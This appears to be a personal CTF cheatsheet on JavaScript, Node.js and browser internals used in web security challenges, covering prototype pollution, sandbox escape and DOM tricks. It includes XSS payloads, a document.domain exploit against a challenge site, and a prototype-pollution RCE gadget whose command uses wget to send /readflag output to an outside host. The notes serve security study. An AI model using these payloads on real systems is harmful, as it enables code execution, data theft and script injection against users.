---
title: 'javascript???'
tags: cheatsheet
---
:::spoiler TOC
[TOC]
:::
Javascript
===
## spec & impl
- 導讀
- [how to validate javascriptknowledge by Huli](https://blog.huli.tw/2022/01/30/how-to-validate-javascript-knowledge/)
- spec
- [ECMAScript](https://262.ecma-international.org/14.0/)
- [Web Application APIs](https://wicg.github.io/controls-list/html-output/multipage/webappapis.html#webappapis)
> multipage 和 one-page 內容有出入
- 實作
- javascript engine: https://github.com/v8/v8/tree/master/src
- javascript 語法解析: https://github.com/v8/v8/blob/master/src/parsing/scanner-inl.h
## Inspect
- Node.js prototype access
- from [@maple3142](https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#node-ppjail)
- need to patch [v8 source code](https://github.com/v8/v8/blob/3f12c06ea0fadfd4a962fe6fd84693f01751a4f3/src/objects/js-objects.cc#L5264-L5274)
```
let props = ''
Object.prototype.__proto__ = new Proxy(
{ __proto__: null },
{
get: (target, prop, receiver) => {
props += `GET ${prop}` + '\n'
return Reflect.get(target, prop, receiver)
},
__proto__: null
}
)
```
- for Deno
```
const proxy = new Proxy(
{},
{
get: (target, prop, receiver) => {
console.log('get', prop)
return Reflect.get(target, prop, receiver)
}
}
)
Object.setPrototypeOf(Function.prototype, proxy)
Object.setPrototypeOf(Array.prototype, proxy)
Object.setPrototypeOf(Error.prototype, proxy)
Object.setPrototypeOf(String.prototype, proxy)
Object.setPrototypeOf(Number.prototype, proxy)
```
## syntax
- Auto Semicolon Insertion (ASI)
- https://slides.com/evanyou/semicolons#/18/0/0
- https://cjihrig.com/automatic_semicolon_insertion
- `+-[(/` + restricted production
- 可以用來繞過一些黑名單
- [label](https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/label)
- ployglot 一些協議開頭`cid:a=123`
```
a: //label
a=123
http:console.log(7122)
```
- [delete](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
- limit space: `delete[this][0][attr] // euqal 'delete window.attr', [this] === [window]`
### [Comments](https://262.ecma-international.org/14.0/#sec-comments)
- in ECMAScript spec
- `//`
- `/*`
- extended in v8
- `<!--`
- `-->`
- shebang
- only work for first line`#! aaaaa`
### [Line Terminators](https://262.ecma-international.org/14.0/#sec-line-terminators)
- \u000a,\u000d,\u2028,\u2029
- `eval("alert\u2029(1)")`
## Comparison
- [The Abstract Equality Comparison Algorithm](https://262.ecma-international.org/5.1/#sec-11.9.3)
```
console.log(NaN != NaN)
console.log(undefined == undefined)
console.log(null == null)
console.log(typeof NaN == 'number')
console.log(typeof null == 'object')
console.log(+0 == -0)
console.log(null == undefined)
// Return true if x and y refer to the same object. Otherwise, return false.
var a = {}, b = {}
console.log(a != b)
console.log((()=>{}) != (()=>{}))
console.log(14 == '0xe') // 14 == Number('0xe')
```
- [SameValueZero](https://tc39.es/ecma262/multipage/abstract-operations.html#sec-samevaluezero)
- if is number, use [`Number::sameValueZero`](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-sameValueZero)
- [`Array.prototype.includes`](https://tc39.es/ecma262/multipage/indexed-collections.html#sec-array.prototype.includes)
- `[NaN].includes(NaN) // true`
- [`IsStrictlyEqual`](https://tc39.es/ecma262/multipage/abstract-operations.html#sec-isstrictlyequal)
1. If Type(x) is not Type(y), return false.
2. If x is a Number, then
a. Return [Number::equal(x, y)](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-equal).
3. Return SameValueNonNumber(x, y).
- [Number::equal(x, y)](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-equal)
- NaN != NaN
- +0 == -0
- [Number::sameValue](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-sameValue)
- NaN == NaN
- +0 != -0
## Regex
- regex global matching [lastIndex](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex),flag `g`(global) and `y`(sticky) is [stateful](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
```
const r = /cjiso/g
r.exec('cjiso')
console.log(r.lastIndex) // 5
r.exec('cjiso') == null //true
```
- [dot match behavior](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll) flag `s`
```
/{.*}/.test("{evil\u2026}") // false
/{.*}/s.test("{evil\n}") // true
```
> default `.` won't match below
> U+000A LINE FEED (LF) ("\n")
> U+000D CARRIAGE RETURN (CR) ("\r")
> U+2028 LINE SEPARATOR
> U+2029 PARAGRAPH SEPARATOR
- [Get the last matched string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input) `RegExp.$_`, `RegExp.input`
```
/Flag/.test('Flag{a}')
console.log(RegExp.input) // FLAG{a}
```
- [Get the last matched part](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch) `RegExp['$&']`, `RegExp.lastMatch`
```
var flag = 'Flag{aaa}'
flag = flag.replace(/{.*}/,'$&') // FLAG{aaa}
```
- [Get the last parenthesized part](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastParen) `RegExp['$+']`,`RegExp.lastParen`
```
/(Flag){(a.)+}/.test('Flag{abacad}')
console.log(RegExp['$+']) // ad
```
- [Get left, right context of matched](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/rightContext) ```RegExp.['$`']``` (left) ```RegExp.["$'"]```(right)
```
var tmpl = '<img a="{value}">'
tmpl.replace('{value}',"$'<svg/onload=alert(1)>")
```
- [per line test](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline) flag `m`
```
/^bbb.*$/.test("aaaa\nbbbb") // false
/^bbb.*$/m.test("aaaa\nbbbb") // true
```
- ref
- https://blog.huli.tw/2022/04/14/javascript-string-regexp-magic/
## String
- substring
- If indexStart is greater than indexEnd, then the effect of substring() is as if the two arguments were swapped.
## Promise / async / await / then
- await object:
```
a = {}
a.then = ()=>{console.log('jizzz')}
await a // call a.then
/* result
jizzz
// stuck
*/
a = {}
a.then = (cb)=>{console.log('jizzz');cb(123)}
await a
/* result
jizzz
// return 123
*/
```
- exploit `then`
- [GoogleCTF 2022 Web/HORKOS](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)
## event
- `securitypolicyviolation`
## devtool
- https://developer.chrome.com/docs/devtools/console/utilities/
- copy(object)
- monitor(function)
- getEventListeners(object)
- queryObjects(Constructor)
- undebug(function)
- $x(xpath)
## arguments
- `arguments.callee.caller.arguments`拿到外層函式的 `arguments`
## char/encoding
- `"ß".toUpperCase() // "SS"`
- `"İ".toLowerCase().length == 2`
- `"ffi".toUppserCase() == 'FFI'`
- `al\u0065rt(7122) // alert(7122)`
- `al\u{65}rt(7122) // al\u{65}rt(7122)`
- unicode escape sequences [Where can escape sequences be used](https://exploringjs.com/es6/ch_unicode.html#_where-can-escape-sequences-be-used)
## Realm & Scope
- https://github.com/weizman/awesome-JavaScript-realms-security/
![](https://hackmd.io/_uploads/ByWPiCXWT.png)
- 如果是 event handler ,context 是 `document`
- `<svg/onload=eval(URL)>`
## Encode/Decode
- [jsfuck](http://www.jsfuck.com/)
- 6 char `()+[]!`
- [Hieroglyphy](https://github.com/alcuadrado/hieroglyphy)
- 8 char `()[]{}+!`
- [jjencode - Encode any JavaScript program using only symbols](https://utf-8.jp/public/jjencode.html)
- 18 char`[]()!+,\"$.:;_{}~=`
- https://www.leletool.com/tool/jjencode/
- [aaencode - Encode any JavaScript program to Japanese style emoticons (^_^)](https://utf-8.jp/public/aaencode.html)
- https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
## [iteration protocols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols)
- https://262.ecma-international.org/#sec-iteratorclose
- pp 可以利用 `return`
## Error
- https://v8.dev/docs/stack-trace-api
- `Error.prepareStackTrace`
- TODO
- https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#node-ppjail
- https://blog.maple3142.net/2022/02/07/dicectf-2022-writeups/#undefined
- https://github.com/aszx87410/blog/issues/107
## Bypass
- [Ways to alert(document.domain)](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)
## Misc
:::spoiler refs
- [x] https://blog.huli.tw/2022/03/14/javascript-number/
:::
- [isNaN](https://tc39.es/ecma262/multipage/global-object.html#sec-isnan-number) vs. [Number.isNaN](https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-number.isnan)
![](https://hackmd.io/_uploads/B1kWSuVYq.png)
```
isNaN('abc') // true
Number.isNaN('abc') // false
```
- `Object.hasOwn [ES2022] vs. Object.prototype.hasOwnProperty`
- `obj.hasOwnProperty('prop')` 如果被覆蓋會出錯,用 `Object.hasOwn(obj,'prop')` 比較安全
- base64
- 忽略非法字元和第一個 `=` 後內容
- `Buffer.from('Y\xff W..FhYWFhYgo= bbbb','base64').equals( Buffer.from('YWFhYWFhYgo','base64'))`
Nodejs
===
- [awesome-node.js](https://github.com/sindresorhus/awesome-nodejs)
## jail / VM escape
- cjs 模組載入 [source code](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js)
- `new Function` 裡需要使用 `global.process.mainModule.constructor._load` 來做 `require`
- `import` 不在 `global` 裡,可繞過黑名單檢測
- cjs 執行時預處理被包在函式裡,所以 global return 不會出錯 [wrappers](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L251-L254), 且包在 `vm` [wrapSafe](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L1160-L1174)
```
module.constructor.wrapper
(function (export, require, module, __filename, __dirname) {
console.log("Trying to reach");
return;
console.log("dead code");
});
```
```
#! node
(function() {console.log(arguments.callee.caller.toString())})
/*
function (exports, require, module, __filename, __dirname) {
(function(){return console.log(arguments.callee.caller.toString())})()
}
*/
所以
(function() {return arguments.callee.caller.arguments[1]}) // require
```
- Function constructor `''.constructor.constructor`
- `module.require.main === process.mainModule`
- `process.mainModule.require`
- `module.constructor._load`
- `module.constructor.Module._load`
- `module.constructor.Module._cache`: 拿到載入的 user module
- 同 context 下汙染 prototype 蓋掉過濾檢查
- challenge
- [SECCON2022 final CTF babybox](https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/babybox)
## SQLi
- [Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4): `username=admin&password[password]=1`
## native modules
- child_process
- [maxBuffer default size 1024*1024](https://nodejs.org/dist/latest-v19.x/docs/api/child_process.html#child_processexecfilefile-args-options-callback)
- [SECCON2022 easylfi2](https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/easylfi2)
- prototype pollution to RCE
Browser
===
- https://github.com/chromium/chromium/tree/main/third_party/blink/renderer/core
## DOM
- 任何 Node element 都可以 traverse 到 `window`
- [Node.ownerDocument](https://developer.mozilla.org/zh-TW/docs/Web/API/Node/ownerDocument): node access 頂層 document
- [defaultView ](https://developer.mozilla.org/en-US/docs/Web/API/Document/defaultView): `document.defaultView` 指向 `window`
- `Node img`
- innerHTML resolved before inserted DOM is triggered [ref](https://github.com/terjanq/Tiny-XSS-Payloads/blob/5e8603974ef878e1230ae05e7f79b9467d862e2c/payloads.js#L93)
```
document.createElement('img').innerHTML =
`<img/src=x onerror=alert(7122)>`
```
- `document.querySelector()`
- return first match
- `document.URL`
- `document.cookie`
- iframe 裡操作 document.cookie 是無效的,可以用來防止 document.cookie 被刪除
- [document.domain](https://developer.mozilla.org/en-US/docs/Web/API/Document/domain)
- [will be immutable in chrome 106](https://developer.chrome.com/blog/immutable-document-domain/)
- 只要兩個網站 document.domain 相同,就是 same-origin
```
// https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
document.domain='intigriti.io';
a=document.createElement('iframe');
a.src='https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][domain]=intigriti.io';
document.body.appendChild(a);
a.onload=function(){
setTimeout(()=>{
a.contentWindow.document.body.innerHTML='<style onload=alert(document.domain)>';
// we need to change it back
a.contentWindow.document.domain='challenge-0422.intigriti.io'
},1000)
}
```
- firefox/chrome 允許 FQDN 和 SSL match,導致基於 `document.domain` 的檢查會被繞過(burpsuite 不允許)
- 訪問 `https://www.cjis.ooo.`
- `Host: www.cjis.ooo.`
- `document.domain === 'www.cjis.ooo.'`
- [0623 intigriti xss challenge](https://challenge-0623.intigriti.io/)
- `window.open`
- [x] https://blog.huli.tw/2022/04/07/iframe-and-window-open/
- 產生 named window 以及獲取 window reference
```
<a target="">
<form target="">
<iframe name="">
<object name="">
<embed name="">
window.open(url, name)
```
- 偵測新開 window 的載入完成
- 載入完成前 `window.origin` 會是原 window,載入後才改變
- 利用禁止 cross origin property access 觸發 error 來偵測
:::spoiler code
```javascript
// From Huli
var start = new Date()
var win = window.open('https://blog.huli.tw')
run()
function run() {
try {
win.origin
setTimeout(run, 60)
} catch(err) {
console.log('loaded', (new Date() - start), 'ms')
}
}
```
:::
- 偵測某個 name 的 window 是否存在
:::spoiler code
```HTML
<!-- From Huli -->
<body>
<a href="https://blog.huli.tw" target="blog">click</a>
<button onclick="run()">run</button>
<iframe
name=f
sandbox="allow-scripts allow-same-origin allow-popups-to-escape-sandbox allow-top-navigation">
</iframe>
<script>
function run(){
var w = f.open('xxx://abcde', 'blog')
if (w) {
console.log('blog window exists')
} else {
console.log('blog window not exists')
}
}
</script>
</body>
```
:::
- [ ] browsing context
- 只有在同一 browsing context 才能 access 另一 target window
- `location.ancestorOrigins`
- 在 subframes 時可以獲得 ancester frame 的 origin
Prototype Pollution
===
- 可以汙染 data attribute(data-*) e.g. `__proto__[sitekey]` 汙染 `data-sitekey`
## real world
- https://github.com/BlackFan/client-side-prototype-pollution
- [Web-CTF-Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet#prototype-pollution)
- [Prototype Pollution to RCE](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce)
## challenge
- [Revenge of Intigriti 0422 Challenge Author Writeup](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
- [Balsn CTF 2022 - 2linenodejs](https://gist.github.com/ginoah/e723a1babffae01ffa5149121776648c)
## ECMAScript
- `IteratorClose`
```
@Ark
Object.prototype.return = () => console.log(123)
for (const x of [1]) {
break // this is important
}
```
```
@Ark
Object.prototype.return = () => console.log(123)
const [x] = [1]
```
- `Error.prepareStackTrace`
## Browser
- exploit `ownerDocument` or `defaultView` to traverse any value
- try access to `Object.prototype` or `Array.prototype`
- look carefully into `for ... in ` pattern
- find gadget chain in included package
## Node.js
- if `require` after pp
- >=v15, set global variable for new require module via `contextExtensions`
- gadget >= v14, from [tryself](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L526-L531), [Balsn CTF 2022 - 2linenodejs](https://gist.github.com/ginoah/e723a1babffae01ffa5149121776648c)
```
// __dirname 和 parent 不能有 package.json, 在多數情況下無法用
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./preinstall.js"
},
"path":"/opt/yarn-v1.22.19/",
"shell":"sh",
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
}
}
],
}
}
```
```
/* a.js */
const a = {};
a['__proto__']['data'] = { exports: './exp.js', name: './usage' };
// name should equal to `require` module name
// and it will load exp.js
a['__proto__']['path'] = './';
a['__proto__']['contextExtensions'] = [{ asd: 7122 }]; // work > v15
require('./usage');
/* b.js */
console.log(asd)
/* run */
$ node a.js
7122
```
- [Node.js require() RCE复现](https://hujiekang.top/2022/10/11/NodeJS-require-RCE/)
- pp env : [Abusing Environment Variables](https://blog.p6.is/Abusing-Environment-Variables/), [HACKING WITH ENVIRONMENT VARIABLES](https://www.elttam.com/blog/env/), [我是如何利用环境变量注入执行任意命令](https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html)
- 2022 June pp spawn options ([commit](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)) 和 contextExtensions ([commit](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)) 被修掉,至少要有 options 傳入,否則會被設為 kEmptyObject
- [`--import='data:text/javascript,console.log(1337)'`](https://portswigger.net/research/exploiting-prototype-pollution-in-node-without-the-filesystem?ref=weekly.infosecwriteups.com)
## jquery
- https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
- 目前還有全版本(<=3.7.0)的 pp gadget
- [只要引入 v1/2 ,有 pp 就可以自動觸發 xss](https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md#xoff-jquery-all-versions),因為套件會自動呼叫 `$(document).off()`
-
## recaptcha
- 設定 sitekey `__proto__[sitekey]`,無效的 sitekey 也可以觸發
Package
===
## DOMPurify
- `DOMPurify.removed` 可以拿到移除內容
- 會註冊 `dompurify` trustedtype policy
- `a<style></style>` https://github.com/cure53/DOMPurify/issues/804
-
## HTML Sanitizer API
- 只有 chrome 有實現
- config 可受 pp 攻擊
- 當 `allowUnknownMarkup=true` 可以設置 data-* 和其他 atrribute
- 無法解析 script、iframe、非 HTML element (svg...)
- 無法解析 on-event
-
## qs.js
- 使用的 `qs` 處理 query string 預設只會處理 1000 個, 傳送`'?'+'a=b'*1000+'waf=aaa'`時 `waf` 不會在 `req.query` 裡 [ref](https://github.com/ljharb/qs/blob/main/dist/qs.js#L60)
- 影響框架:`express...`
- 2022SECCONCTF - skipinx
## express
- [req.get referer & referrer both work](https://github.com/expressjs/express/blob/74beeac0718c928b4ba249aba3652c52fbe32ca8/lib/request.js#L77-L80)
## React.js
- 利用 `is` 屬性 XSS
- https://blog.huli.tw/2022/04/10/picoctf-2022-writeup/
## puppeteer
> ref
- 預設可以使用開新頁面 `window.open`
- `page.goto` 可以吃 javascript scheme,domain 是在當前頁面下
- 新版 chrome headless mode 可自動觸發下載
- `Page.click()` 實作上是計算座標後點擊,可被 click hijacking
- [without SOP to LFI](https://mizu.re/post/intigriti-october-2023-xss-challenge)
- puppetter 預設開啟 devtools debug port, 30000 - 50000
- 如果 `--disable-web-security` 關掉 SOP 的話可以直接爆 port 存取
- debug port 可以開新頁面 `file://`
- headless mode 預設觸發可以下載 `~/Downloads/xxxxx`
- 惡意檔案可以讀取本地其他檔案並且跑 js
-
## jquery
-
Chrome Devtools Protocol(CDP)
===
> ref https://mizu.re/post/intigriti-october-2023-xss-challenge
- https://chromedevtools.github.io/devtools-protocol/
- leak target ID & port first
- PDF generation tool (chromium <= 114): https://bugs.chromium.org/p/chromium/issues/detail?id=1385982
- No sandbox headless chrome (chromium <= 116): https://bugs.chromium.org/p/chromium/issues/detail?id=1458911
Connection Pool
===
- https://blog.ryotak.net/post/dom-based-race-condition/
Chrome://
===
- https://0x44.xyz/blog/cve-2023-4369/
Anti-debugging
===
- https://github.com/weizman/awesome-javascript-anti-debugging
Code Audit
===
## Both
1. Run formatter to omit ASI problem
## Frontend
## Backend